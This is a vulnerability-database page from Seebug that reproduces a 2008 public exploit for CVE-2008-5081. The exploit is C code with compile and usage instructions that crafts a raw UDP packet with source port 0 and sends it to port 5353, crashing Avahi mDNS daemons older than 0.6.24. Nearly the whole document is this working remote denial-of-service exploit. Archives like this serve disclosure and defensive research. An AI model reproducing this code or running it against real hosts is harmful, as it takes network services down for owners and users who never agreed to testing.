Lucene search

K
seebugRootSSV:66077
HistoryJul 01, 2014 - 12:00 a.m.

Avahi < 0.6.24 (mDNS Daemon) Remote Denial of Service Exploit

2014-07-0100:00:00
Root
www.seebug.org
14

0.961 High

EPSS

Percentile

99.3%

No description provided by source.


                                                /*
 * cve-2008-5081.c
 *
 * Avahi mDNS Daemon Remote DoS &#60; 0.6.24
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 *
 * Usage:
 *
 *   gcc cve-2008-5081.c -ldnet -o cve-2008-5081
 *   ./cve-2008-5081 1.2.3.4
 *  
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081
 *    
 *   Crafted mDNS packet with source port 0 can cause avahi-daemon  
 *   to abort() due to failed assertion assert(port &#62; 0); in  
 *   originates_from_local_legacy_unicast_socket() function in
 *   avahi-core/server.c.
 *
 */
 
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;dnet.h&#62;
 
int
main(int argc, char **argv)
{
    ip_t *sock;
    intf_t *intf;
    struct addr dst;
    struct ip_hdr *ip;
    struct udp_hdr *udp;
    struct intf_entry entry;
    int len = IP_HDR_LEN + UDP_HDR_LEN;
    char buf[len];
 
    if (argc &#60; 2 || addr_aton(argv[1], &dst)) {  
        printf(&#34;error: please specify a target ip address\n&#34;);
        return 1;
    }
 
    memset(buf, 0, sizeof(buf));
 
    ip = (struct ip_hdr *) buf;
    ip-&#62;ip_v = 4;
    ip-&#62;ip_hl = 5;
    ip-&#62;ip_tos = 0;
    ip-&#62;ip_off = 0;
    ip-&#62;ip_sum = 0;
    ip-&#62;ip_ttl = IP_TTL_MAX;
    ip-&#62;ip_p = IP_PROTO_UDP;
    ip-&#62;ip_id = htons(0xdead);
    ip-&#62;ip_len = htons(len);
 
    udp = (struct udp_hdr *) (buf + IP_HDR_LEN);
    
    udp-&#62;uh_sum = 0;
    udp-&#62;uh_sport = htons(0);
    udp-&#62;uh_dport = htons(5353);
    udp-&#62;uh_ulen = htons(UDP_HDR_LEN);
 
    intf = intf_open();
    intf_get_dst(intf, &entry, &dst);
    intf_close(intf);
 
    ip-&#62;ip_src = entry.intf_addr.addr_ip;
    ip-&#62;ip_dst = dst.addr_ip;
    ip_checksum(buf, len);
 
    sock = ip_open();
    if (!sock) {
        printf(&#34;error: root privileges needed for raw socket\n&#34;);
        return 1;
    }
    ip_send(sock, buf, len);
    ip_close(sock);
 
    return 0;
}

// milw0rm.com [2008-12-19]